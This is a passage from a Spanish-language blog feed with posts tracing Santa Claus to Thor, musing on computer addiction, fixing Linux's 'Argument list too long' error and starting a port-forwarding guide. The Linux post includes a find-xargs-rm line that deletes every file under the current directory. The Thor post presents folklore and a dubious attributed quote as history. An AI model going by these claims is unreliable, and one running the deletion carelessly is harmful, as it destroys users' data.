hoy, en 1823 Clement Clarke Moore publico un poema donde asi lo describia, ademas viajando en su trineo tirado por nueve renos. Cuando paso a francia ya tenia un cierto parecido fisico pero se vestia de blanco y dorado mientras q los yankees lo representaban mayormente vestido de verde aunque hay algunas representaciones del sXIX en rojo y blanco.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la version casi final la creo Haddon Sundblom bajo encargo de coca-cola en 1931, la idea era hacerlo mas humano y acorde con la imagen de la empresa y el marketing de la epoca. Basandose en la imagen del poema de moore siguio dibujandolo durante 33 años y se convirtio en el creador de la imagen moderna de sinterklaas.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">pero en realidad podriamos ir mucho mas atras de sundblom y moore, antes de q los holandeses emigraran a america, todavia antes de ser descubierta y antes del mismisimo Nikolaos de Myra...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si nicolas tiene todas las chances de ser mitologico, xq no ir mas atras todavia? ya mucho antes se creia en alguien q tenia una larga barba blanca, viajaba volando en su carroza tirada por Cracker y Gnasher, vivia en "la tierra del norte", y bajaba por las chimeneas todos los años el 25 de diciembre para dejar regalos a los niños.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">santa claus? san nicolas? papa noel? no... THOR "el dios del trueno"...</div><div><br /></div><div><br /></div><div><b><u><span class="Apple-style-span" style="color: yellow; font-size: large;">Papa Noel es Thor?</span></u></b></div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5678668330167248786" src="http://4.bp.blogspot.com/-BbALR9lITk4/Ts6uwmjhJ5I/AAAAAAAAAZc/aTi_TB2ayxk/s320/thor2.jpg" style="color: #0000ee; cursor: pointer; float: left; height: 235px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; text-decoration: underline; width: 320px;" /><div style="text-align: justify;">obviamente no podemos guiarnos mucho por la imagen de thor q nos muestra hollywood. la representacion original es mas la de un hombre jovial y gordo con una gran barba blanca q viajaba en su carroza tirada por dos cabras (gnasher y cracker). en los antiguos hogares escandinavos se le consagraba la chimenea hogareña, la cual usaba para bajar hacia su elemento (el fuego). ellos extendieron estas creencias durante los siglos VII a XI con las invasiones de los vikingos junto con Odin y toda su mitologia.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">el simbolo de thor es un gran martillo, q es el simbolo del carpintero, igual q santa claus. los dos tienen duendes q los ayudan, en el caso de thor son los q hicieron el martillo. era considerado un dios benevolo q jamas lastimaba a los humanos y siempre estaba dispuesto a ayudarlos y protegerlos. vive en el norte y se convitio en el yule-gott (dios de la navidad) despues de luchar contra los gigantes de hielo y nieve.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">su vestimenta se caracterizaba justamente por el blanco de la nieve y el rojo de su elemento (fuego) y en su cumpleaños (25 de diciembre) bajaba por la chimenea a dejar regalos</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en suecia todavia esperan en navidad al Jultomten en su carro tirado por cabras (Julbocker) vistiendo su traje rojo y blanco y su larga barba. su representacion es parecida a la de un duende de jardin pero se refiere a thor y no a la version coca-cola.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">thor esta en mas lugares de lo q parece, el dia jueves en ingles es justamente su dia... "Thor's day". En castellano corresponde a Jupiter, el "dios del trueno" de la mitologia romana.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">pero no es q lo diga yo simplemente, la siguiente es la traduccion de un parrafo q escribe la mitologista Adeline Guerber en su libro Myths of the Northern Lands (mitos de las tierras del norte):</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Thor era el dios de los campesinos y la gente comun. Era representado como un hombre mayor, jovial y amigable, de contextura grande, con una larga barba blanca. Su elemento era el fuego, su color el rojo. El retumbar y rugido del trueno se decia q era causado por el paso de su carroza, porque solo el entre los dioses jamas monto a caballo pero conducia una carroza tirada por dos cabras blancas (llamadas Cracker y Gnasher). Lucho contra los gigantes de hielo y nieve y por lo tanto se convirtio en el "Dios de la Navidad". Se decia que vivia en la "Tierra del Norte" donde tenia su palacio entre los icebergs. Era considerado por nuestros paganos antepasados como el dios alegre y amigable, nunca lastimando a los humanos pero siempre ayudandolos y protegiendolos. En todos los hogares, la chimenea estaba especialmente consagrada a el, y se decia que bajaba a traves de la chimenea hacia su elemento, el fuego. (Guerber, H.A. Myths of Northern Lands. New York: American Book Company, 1895, p. 61)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">solo tienen q googlear un rato para ver q la representacion original de thor tiene demasiados parecidos con "papa noel" a pesar de los siglos, cambios de nombre, marketing y unos animales mas "vendibles" q las cabras para tirar su trineo.</div><div><br /></div><div><br /></div><div><b><u><span class="Apple-style-span" style="color: yellow; font-size: large;">Basta de comprar basura yankee!!</span></u></b></div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5678668899189196386" src="http://2.bp.blogspot.com/--5S3cS_Tdl4/Ts6vRuU7BmI/AAAAAAAAAZo/YZMtNZ7Lgz8/s320/cokelore_santa_toys_cutout.jpg" style="color: #0000ee; cursor: pointer; float: right; height: 285px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; text-decoration: underline; width: 320px;" /><div style="text-align: justify;">en algunos lugares ya se estan dando cuenta del lavado de cerebro q les hacen y por ejemplo en españa suele haber protestas a favor de los reyes magos y en contra del foraneo "papa noel". en alemania los catolicos quieren hacer entender a la sociedad q el barrigon de barba es un producto publicitario tratando de recuperar a san nicolas. crearon "weihnachtsmannfreie zone", algo asi como la "zona libre de papa noel" y hacen diferentes actividades mientras meten propaganda anti-yankee.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">aca en argentina por el contrario cada vez parece tener mas fuerza, a pesar de las gotas de transpiracion q le caen al q le toca disfrazarse y la falta de saber realmente q es lo q se festeja.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">sepan de ahora en adelante q lo q festejan es el cumpleaños de Thor, el dios del trueno... malditos paganos... xD</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-1218874707660650928?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-36345770745671376102011-10-26T13:42:00.018-03:002011-11-07T14:11:37.988-03:00<a href="http://2.bp.blogspot.com/-MM18UhEiOEI/TqhC4xV8vwI/AAAAAAAAAYs/c5sxFNfnsAM/s1600/terminator.jpg"></a><br /><a href="http://3.bp.blogspot.com/-HjDm75NnLJ4/Tqg_XLls5jI/AAAAAAAAAXw/ZnbmBA-Ora8/s1600/i%2Blove%2Bcomputer.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5667849798526232114" src="http://3.bp.blogspot.com/-HjDm75NnLJ4/Tqg_XLls5jI/AAAAAAAAAXw/ZnbmBA-Ora8/s320/i%2Blove%2Bcomputer.jpg" style="cursor: hand; cursor: pointer; float: left; height: 300px; margin: 0 10px 10px 0; width: 300px;" /></a><div style="text-align: justify;">hace dos decadas el titulo hubiera sido tema para una peli sci-fi, hoy ya es realidad. siempre me acuerdo cuando le decia a mi vieja "un dia todos van a tener una computadora" y se me reia en la cara. en ese entonces me pasaba muchas horas sentado programando, jugando jueguitos y haciendo la mayoria de las cosas q hace un niño o adolescente hoy en dia, cosa que no era considerada muy "normal" en ese momento.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en la epoca de las spectrum, commodore y msx se estaba muy lejos de la masividad, la info se conseguia en revistas y libros (o de boca en boca) y los juegos se crackeaban y grababan en cassettes de audio donde tardaban 15 mins en cargar 48k. las computadoras eran bastante caras y dificiles, a menos q quisieras jueguitos para lo q solo necesitabas saber escribir load "". existian la mayoria de los lenguajes de programacion q hay hoy en dia, 64kb de ram era muchisimo y no habia soft para todo como ahora... era "la epoca en q los hombres hacian sus propios programas"... je</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ya casi desde la niñez fui considerado "adicto a las computadoras", x supuesto q hoy seria completamente normal y hasta "moderado". todo siempre depende del punto de vista del observador...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">pasaron los años, vino la epoca de las pcs y algunos empezaron a encontrar las ventajas de tener una. algunos de ellos se pasaron meses jugando al prince of persia, el stunts o algun jueguito de esa epoca, y ya no era una adiccion "desde su punto de vista". poco a poco las computadoras se empezaban a usar en las empresas y los paquetes de oficina eran utiles para encontrar trabajo para mucha gente.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">despues se empezo a extender el tema de las redes, de las prehistoricas bbs donde se la pasaban esos adictos durante horas pasamos poco a poco a internet, windows95, dialup, 56K!!... la epoca dorada, esos pocos millones de usuarios conectados, creandose mas y mas "adictos" cada dia... xD</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">para fines de siglo salia el napster, todos querian internet para bajar musica y se la pasaban tambien horas sentados frente a la maquina mientras otros no entendian q encontraban en "esa pantallita". recuerdo la vez q le explicaba a mis amigos lo q era el mp3 y me preguntaban "para q queres tener tanta musica en un cd?"... "es una especie de adiccion?"... un par de años despues ya tenian centenares de discografias q no escuchan nunca como todo el mundo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en esa epoca tuve mi 1er pocketpc y era un adicto x andar con una compu de bolsillo, no solo en ese momento sino hasta hace unos 5 o 6 años todavia parecia "raro". cosa q hoy todo el mundo tiene en su smartphone, y el q no lo tiene lo tendra en los proximos 5 años seguramente...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">son todos adictos tambien ahora?... o todo depende del punto de vista?</div><br /><br /><span class="Apple-style-span" style="color: yellow; font-size: medium;"><b><u>adiccion a las computadoras</u></b></span><br /><br /><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5667850462341423442" src="http://2.bp.blogspot.com/-NESPJFR59Ww/Tqg_90fk4VI/AAAAAAAAAX8/D4pMBnvnUG8/s320/computer-addiction.jpg" style="cursor: pointer; float: right; height: 239px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div style="text-align: justify;">el termino (computer addiction) fue usado x 1era vez en el año 1979 por <span style="font-style: italic;">Nicholas Rushby</span> en su libro <i>An Introduction to Educational Computing</i>. es x supuesto anterior a la adiccion a internet y se refiere a la gente q se la pasaba en la compu sin necesidad de las redes sociales, multimedia y todas las porquerias que hay ahora.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">se podia dividir a grandes rasgos entre los q la usaban para jugar y los q la usaban para algo util, con terminos intermedios incluidos. yo creo q empece como el 1ero y termine como el 2do (con etapas gamer) casi sin darme cuenta y muy rapido. es en realidad el "adicto" q mas provecho saca de su adiccion ya q el placer esta simplemente en la maquina, dominarla, sacarle todo su jugo. cosa q es bien pagada y tiene muchas posibles salidas laborales ahora, a pesar de q en ese momento para la mayoria era "perder el tiempo".</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">algunos lo definian mas como un desorden del comportamiento q una adiccion, desorden q puede llevar a "problemas en la vida social, trabajo o escuela, gastar grandes cantidades de dinero en hardware, software y otros efectos negativos"...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">... x supuesto q hoy la vida social esta en facebook, hi5 y twitter, la mayoria trabaja y estudia en una compu (algunos x internet) y todos gastan fortunas en el ultimo iphone, ipad o iloqsea solo para tener "lo ultimo".</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">entonces, segun la definicion de hace 30 años se podria decir q tenemos un par de miles de millones de "adictos a las computadoras"... puntos de vista...</div><br /><br /><span class="Apple-style-span" style="color: yellow; font-size: medium;"><b><u>adiccion a internet</u></b></span><br /><br /><div style="text-align: justify;">la conexion a internet ya es un servicio casi tan necesario como la electricidad o el agua. todos estan conectados, todos tienen su facebook, su guindows trucho, su cuenta de messenger. la mayoria de la gente puede llegar a sentirse incomoda si no dispone de una conexion x demasiado tiempo, hay internet en el trabajo, en la casa, wifi q cubre casi todo... parece increible q esta encuesta sea de hace solo 15 años:</div><div><br /></div><div><div style="text-align: center;"><object width="320" height="266" class="BLOG_video_class" id="BLOG_video-e7715ce6e8ff3cbc" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="movie" value="http://www.youtube.com/get_player"><param name="bgcolor" value="#FFFFFF"><param name="allowfullscreen" value="true"><param name="flashvars" value="flvurl=http://v13.nonxt1.googlevideo.com/videoplayback?id%3De7715ce6e8ff3cbc%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330365226%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D12F1656065C181DDB8FD9661D3E5B203598E552.2A92743F2FF4DC53C57E57C44768CBB7CA20D810%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3De7715ce6e8ff3cbc%26offsetms%3D5000%26itag%3Dw160%26sigh%3DrlTcmhRmRE2V8gSzsqHn9pO7qMs&amp;autoplay=0&amp;ps=blogger"><embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="320" height="266" bgcolor="#FFFFFF"flashvars="flvurl=http://v13.nonxt1.googlevideo.com/videoplayback?id%3De7715ce6e8ff3cbc%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330365226%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D12F1656065C181DDB8FD9661D3E5B203598E552.2A92743F2FF4DC53C57E57C44768CBB7CA20D810%26key%3Dck1&iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3De7715ce6e8ff3cbc%26offsetms%3D5000%26itag%3Dw160%26sigh%3DrlTcmhRmRE2V8gSzsqHn9pO7qMs&autoplay=0&ps=blogger"allowFullScreen="true" /></object></div><div><br /><div style="text-align: justify;">entonces nadie tenia idea de q era internet, era cosa de "nerds" (ahora "geeks") y lo mejor era q vivian perfectamente sin saberlo. ademas de sin celulares, sin gps, pantallas gigantes como las de los cuentos de bradbury, homebanking, etc.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">con la llegada de toda esta gente a la red millones de nuevos "adictos" nacieron y se dividieron dando lugar a diferentes tipos mientras esta cambiaba para migrar al modelo mas comercial q tiene ahora. algunos los dividen en gamers, adictos al porno, a las redes sociales, shopping y juegos de apuestas online y hasta vi a uno catalogar la "adiccion de los hackers" como gente q busca compulsivamente informacion.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">me parecio muy interesante la opinion de un tal dr goldberg que dice q en realidad son simplemente sintomas de otros desordenes ya existentes, la persona q se oculta hoy tras un chat es la misma q se ocultaba antes tras un telefono x ejemplo... o el jugador es tan jugador en la red como fuera de ella, la red es solo un medio para expresar el desorden.</div><br /><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5667850721642829890" src="http://4.bp.blogspot.com/-IhkZK1VMNAk/TqhAM6d2WEI/AAAAAAAAAYI/I4hxJ9U42Zc/s320/facebookcoke.jpg" style="cursor: pointer; float: left; height: 320px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; width: 240px;" /></span><div style="text-align: justify;">lo q en el 95 o 96 era considerado "adiccion" en 2011 no llega ni al promedio. siendo uno de los 1eros "adictos" o "victimas del desorden" jamas tuve cuenta de facebook, twitter y casi no uso messengers... prefiero separar mi vida digital de mi vida fisica. es mas, todos deberian hacer lo mismo... se puede tener amigos sin facebook ;)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">gente de todas las edades pasa horas y horas simplemente mirando y actualizando perfiles en redes sociales... es patetico. hasta puedo llegar a entenderlo en un adolescente pero hay mucha gente grande enloquecida, en el trabajo, en la casa... la verdad es q ahora soy yo el q no se explica q hacen tantas horas en la maquina, sin hacer nada, mirando lo q suben los demas, viviendo x fotos colgadas de un server en el otro lado del mundo. las maquinas no eran para eso... es estupido usarlas asi...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">quien es el adicto ahora?... solo puntos de vista...</div><br /><br /><br /><span class="Apple-style-span" style="color: yellow; font-size: medium;"><b><u>nomofobia</u></b></span><br /><br /><div style="text-align: justify;">la nomofobia es una de las mas ridiculas, el nombre proviene de no-mobile phobia, algo asi como la fobia a no tener el celular. es definido como el miedo irracional a salir de casa sin el telefono, el afectado puede llegar a volver a la casa a buscarlo a pesar de cualquier cosa. siente q cualquier catastrofe podria pasar sin el estar "conectado".</div><br /><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5667851725931577874" src="http://4.bp.blogspot.com/-spFSICxLP1Y/TqhBHXu8ghI/AAAAAAAAAYU/6BZq4EFRi-c/s320/fear_of_mobile_contact.jpg" style="cursor: pointer; float: right; height: 152px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 232px;" /></span><div style="text-align: justify;">la oficina de correos del reino unido hizo este año un estudio al respecto, sobre 2163 personas, el 53% siente ansiedad cuando no tienen el telefono o no lo pueden usar. de estos, el 9% se siente estresado cuando tienen el movil apagado. el nivel de stress de un nomofobico es comparable segun wikipedia al dia anterior a la boda o una visita al dentista.</div><br /><div style="text-align: justify;">sin embargo hace 15 años casi no existian, la gente hablaba x el telefono de linea cuando tenia ganas y no hacia falta estar mandando sms cada 10 minutos a todo el mundo. aca en argentina la fiebre maxima exploto a principios de siglo, de repente todos tenian su celular, desde el gerente importante hasta el recolector de basura. al principio era todavia mas ridiculo q ahora, gente q se veia q apenas tenia para vivir sacando el celu en el colectivo o el tren y llamando a la casa para decir "estoy viajando... llego en 20" y pagar x eso 50 veces mas q una comunicacion de linea.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">de a poco fueron evolucionando, bajando un poco los precios, conectandose a internet cada vez mas rapido y con todo eso trajeron la red movil, conexion a redes sociales y messengers 24/7... y x supuesto mas necesidad de "vida digital".</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">me resisti a los celulares hasta hace unos 5 o 6 años, cuando ya se me hizo imposible x el trabajo y la sociedad en gral... je. siempre decia q iba a tener un celu cuando tuvieran un sistema operativo similar a una pc y asi fue. lo uso lo necesario para comunicaciones y mas q nada para reemplazar la pocket, ya no me miran tan raro cuando voy leyendo en una pantallita pero si todavia cuando voy mirando un capitulo de alguna serie o una peli... aunque no tanto como hace 10 años, cuando parecia un "adicto"... segun puntos de vista...</div><br /><br /><span class="Apple-style-span" style="color: yellow; font-size: medium;"><b><u>tecnofilia</u></b></span><br /><br /><a href="http://2.bp.blogspot.com/-AJJB4OLVApE/TqhCIU9qOpI/AAAAAAAAAYg/XaA5V-g2AII/s1600/technophile.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5667852841879485074" src="http://2.bp.blogspot.com/-AJJB4OLVApE/TqhCIU9qOpI/AAAAAAAAAYg/XaA5V-g2AII/s320/technophile.jpg" style="cursor: pointer; float: left; height: 320px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; width: 218px;" /></a><div style="text-align: justify;">por otro lado tenemos la tecnofilia q es una aficion o gusto x la tecnologia en gral. la tecnofilia parece englobar a todos los anteriores, el tecnofilo depende de la tecnologia y puede llegar a hacerse obsesivo de ella. se dice q actualmente la mayoria de las personas sufren algun grado de tecnofilia debido a las necesidades generadas x la sociedad.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">pero ahora no solo todos son "adictos" sino q ademas es cool ser geek y todos quieren y muchos creen serlo, desde el q se baja o postea todo el soft raro q puede haber en taringa (aunque jamas lo use ni sepa hacerlo) hasta el q se cree guru de linux xq usa ubuntu hace 2 años. pasando x supuesto x el tipico script-kiddie q leyo 2 tutoriales de metasploit y se cree juaquer.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ciertamente el geek y el hacker estan en la posicion mas alta de la piramide, los q antes eran considerados "raros" son los q mueven el mundo ahora. la tecnofilia termina no siendo tanto un problema sino mas bien algo natural, normal hasta ciertos limites. hasta hay cursos para "ser hacker" o algunos q quieren parecer mas serios y ponen "analista en seguridad", el problema es q, aunque muchos quieran pensar lo contrario, un geek o un hacker no se hace en la universidad o con certificaciones... viene asi de fabrica... ;)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">x supuesto hoy dia yo seguiria teniendo problemas... segun los standares seria demasiado tecnofilo. para mi uso practicamente diario tengo 3 pcs de escritorio, una notebook, smartphone y una pocketpc. en realidad es mas o menos lo mismo q tengo siempre pero q x supuesto va evolucionando. lo bueno es q mi problema de tecnofilia no incluye la necesidad de tener lo ultimo, sino q me gusta usar las cosas mientras sigan sirviendo. no necesito un i7 para navegar x internet, raramente uso mi maquina mas poderosa para las cosas q puedo hacer con la notebook o el celu.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">obviamente esas maquinas necesitan interconexion entre ellas, salida y acceso desde/hacia el exterior, x lo menos una estar online 24/7 y las otras con la posibilidad de encenderlas remotamente (x cualquier cosa). llegue a tener camaras con movimiento (todo 100% casero) q podia ver hasta en el celu cuando estaba fuera... y no eran los celus ni las cams de ahora... xD</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">seguramente muchos pensaran q soy un adicto pero son solo puntos de vista... mirense a uds mismos dentro de un par de años xD</div><br /><br /><b><span class="Apple-style-span" style="color: yellow; font-size: medium;"><u>conclusion</u></span></b><br /><br /><div style="text-align: justify;">el mundo esta cambiando, las grandes empresas venden conectividad, conectividad con gente, con maquinas, con informacion, con lo q sea. no importa si lo necesitan o no, las necesidades se crean. todos tienen q estar conectados para ser cool y todos tienen q entender la tecnologia para no ser analfabetos informaticos.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">lo q antes no le interesaba a nadie ahora fascina a todos, montones de "expertos" con "5 o 10 años? de experiencia con computadoras" hablan como si las hubieran inventado xq saben instalar windows o cambiar una placa de video... solo para parecer "kewl"...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">el niño geek q se pasaba dias sentado en la compu hace 20 años hoy crea o administra sistemas gracias a su adiccion pero el q se la pasa hoy sentado en las redes sociales no creo q administre ni su propia vida en el futuro.</div><div style="text-align: justify;"><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5667853674131275522" src="http://2.bp.blogspot.com/-MM18UhEiOEI/TqhC4xV8vwI/AAAAAAAAAYs/c5sxFNfnsAM/s320/terminator.jpg" style="cursor: pointer; float: right; height: 240px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /><div style="text-align: justify;">todavia es temprano para decir si es buena o mala tanta interconexion, a muchos seguramente los afectara en el mediano plazo ya q es obvio q no estan preparados para asimilar la red y sus posibilidades... carne para los psicologos. de lo q si estoy seguro es q la tecnofilia llego para quedarse hasta las ultimas consecuencias... solo espero q no acabemos como en terminator... je</div></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-3634577074567137610?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com4tag:blogger.com,1999:blog-3031385326498684086.post-5751198600463710652011-09-28T20:43:00.010-03:002011-09-28T23:17:56.394-03:00<div style="text-align: justify;"><a href="http://4.bp.blogspot.com/-eWoO2WQDOvQ/ToOzvbylmNI/AAAAAAAAAXg/ECIG4rtjj40/s1600/FatalError.jpg"><img alt="" id="BLOGGER_PHOTO_ID_5657563184402634962" src="http://4.bp.blogspot.com/-eWoO2WQDOvQ/ToOzvbylmNI/AAAAAAAAAXg/ECIG4rtjj40/s320/FatalError.jpg" style="cursor: hand; cursor: pointer; float: right; height: 288px; margin: 0 0 10px 10px; width: 249px;" border="0" /></a>hoy me volvi a encontrar con este problema y me decidi a escibir una entrada para los q se lo encuentran x 1era vez... la 1era vez suele ser traumatica... xD<br /><br />uno de los servers en los q trabajo esta todo el tiempo bajando datos q almacena en un directorio del sistema generando una gran cantidad de archivos q se van acumulando bastante rapido. dado q no uso personalmente los datos y no tengo muy claro hasta cuando sirven, suelo dejar q se acumulen hasta q el espacio en disco empieza a escasear y ahi es cuando viene el problema. la cantidad de archivos es tan grande q al intentar algo tan simple como un rm *.* la consola me devuelve:</div><br /><span style="font-style: italic;">/bin/rm: Argument list too long</span><br /><br /><br /><div style="color:yellow;"><u><span style="font-size:large;"><b>el problema</b></span></u></div><br /><div style="text-align: justify;">como decia antes suele ser bastante traumatico encontrarse con q no se puede hacer algo tan basico como borrar archivos. buscando tanto la solucion como la causa me encontre con la interesante explicacion de que no es un problema del comando en si sino del kernel de linux.</div><br /><span style="font-style: italic;">traduccion de la debian wiki:</span><br /><br /><div style="text-align: justify;"><span style="font-style: italic;">el limite afecta la funcion execve() del kernel, q es usada x todas las otras funciones exec() (execl, execlp, execle,etc). La funcion trabaja creando un buffer de 128k al final del espacio de memoria y copiando el comando y el entorno para el nuevo proceso en este espacio. entonces el kernel carga el nuevo programa en memoria, setea sus punteros argv y endv, y salta al punto de entrada del programa. El mensaje de error "argument list too long" es causado por el codigo de error !E2BIG, siendo devuelto por la funcion execve(), cuando es incapaz de introducir el argumento y entorno suministrados dentro del buffer de 128k.</span></div><br /><div style="text-align: justify;"><a href="http://1.bp.blogspot.com/-RUK9Laxz_cA/ToO1NRB6pnI/AAAAAAAAAXo/kv-K8XGRyN8/s1600/linux-kernel.jpg"><img alt="" id="BLOGGER_PHOTO_ID_5657564796421842546" src="http://1.bp.blogspot.com/-RUK9Laxz_cA/ToO1NRB6pnI/AAAAAAAAAXo/kv-K8XGRyN8/s320/linux-kernel.jpg" style="cursor: hand; cursor: pointer; float: left; height: 262px; margin: 0 10px 10px 0; width: 320px;" border="0" /></a>x suerte el usuario normal no tiene q luchar normalmente con directorios q contienen tantos archivos... entonces me dio curiosidad de ver de cuantos archivos hablamos en realidad (mientras escribo esto voy haciendo el proceso), entonces meto en la consola:</div><br /># ls | wc -l<br /><br /><div style="text-align: justify;">... y despues de un buen rato me devuelve... 1146724!!</div><br /><br /><div style="color:yellow;"><u><span style="font-size:large;"><b>la solucion</b></span></u></div><br /><div style="text-align: justify;">para poder borrar los archivos lo q tenemos q hacer es pasarselos a rm como argumento de a poco usando xargs. la linea q recomienda la misma debian wiki es esta:</div><br /><span style="font-style: italic;">find ./ -name '*' -print0 | xargs -0 -n 10 rm</span><br /><br /><div style="text-align: justify;">hacemos un find de todos los archivos (*) y x medio de xargs se los vamos pasando a rm de a 10 (-n 10). el "-print0" en find y el -0 en xargs son para no tener problemas con los espacios en blanco de los archivos si es q los tienen, sino se pueden eliminar.<br /><br />hay otras soluciones posibles como ls | xargs rm o ir borrando x partes pero la anterior es la mas simple y efectiva.</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-575119860046371065?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-84873015617612672962011-09-19T18:16:00.024-03:002011-09-28T21:08:24.763-03:00<div style="text-align: justify;"><a href="http://2.bp.blogspot.com/-5b-KBtVWA2Q/Tne5_fqvtjI/AAAAAAAAAWI/zq1SOUM1YVU/s1600/network.jpg"><img alt="" id="BLOGGER_PHOTO_ID_5654192357670630962" src="http://2.bp.blogspot.com/-5b-KBtVWA2Q/Tne5_fqvtjI/AAAAAAAAAWI/zq1SOUM1YVU/s320/network.jpg" style="cursor: pointer; float: left; height: 240px; margin: 0pt 10px 10px 0pt; width: 320px;" border="0" /></a>una de las preguntas de redes mas vistas en internet es "como abro mis puertos?", el proceso es bastante facil, pero el usuario q se encuentra x 1era vez con este tema puede llegar a tener problemas, no solo por el proceso en si, sino xq la mayoria de las veces no tiene idea de lo q esta haciendo. la masificacion del uso de routers en los ultimos años, dado el aumento de LANs (Local Area Network o "redes caseras"), trajo este "problema" q no existia (ni existe hoy dia) con los modems.<br /><br />todos los routers tienen diferentes menus de configuracion pero el contenido es siempre mas o menos igual aunque no este en el mismo lugar exacto... solo hay q buscar un poco. esta guia es gral y sirve para cualquier marca/modelo, el nivel es practicamente 0 asi q todos lo van a entender. los conceptos de red obviamente son los mismos para cualquier dispositivo y la intencion final es q sepan lo q estan haciendo al "forwardear" (no "abrir") un puerto... ademas de aprender a hacerlo x supuesto.<br /><br />para informacion mas detallada sobre los menus de configuracion de cada router existen varias paginas, de las cuales la q encuentro mas completa es:</div><br />http://portforward.com/<br /><br /><div style="text-align: justify;">se puede elegir marca/modelo y siguiendo los pasos tambien el servicio a configurar.</div><br /><br /><div style="color:yellow;"><u><b><span class="Apple-style-span" style="font-size:large;">q es un puerto?</span></b></u></div><br /><div style="text-align: justify;"><a href="http://3.bp.blogspot.com/-ol_Xi8FSQN8/Tne7O0k6o1I/AAAAAAAAAWY/ra1fmH6n-7I/s1600/tcp-udp-port-numbers.gif"><img alt="" id="BLOGGER_PHOTO_ID_5654193720492991314" src="http://3.bp.blogspot.com/-ol_Xi8FSQN8/Tne7O0k6o1I/AAAAAAAAAWY/ra1fmH6n-7I/s320/tcp-udp-port-numbers.gif" style="cursor: pointer; float: right; height: 195px; margin: 0pt 0pt 10px 10px; width: 320px;" border="0" /></a>un puerto logico, q es del q hablamos, puede ser considerado como una via de comunicacion entre dos programas, q normalmente estan en dos maquinas distintas, pero no siempre es asi... aunque esto no viene al caso ahora.<br /><br />un numero de puerto esta compuesto x un numero de 16bits, lo cual nos da un total de 65535 (hffff) puertos posibles. de estos los 1eros 1024 son considerados "puertos bajos" (o well-known-ports) y 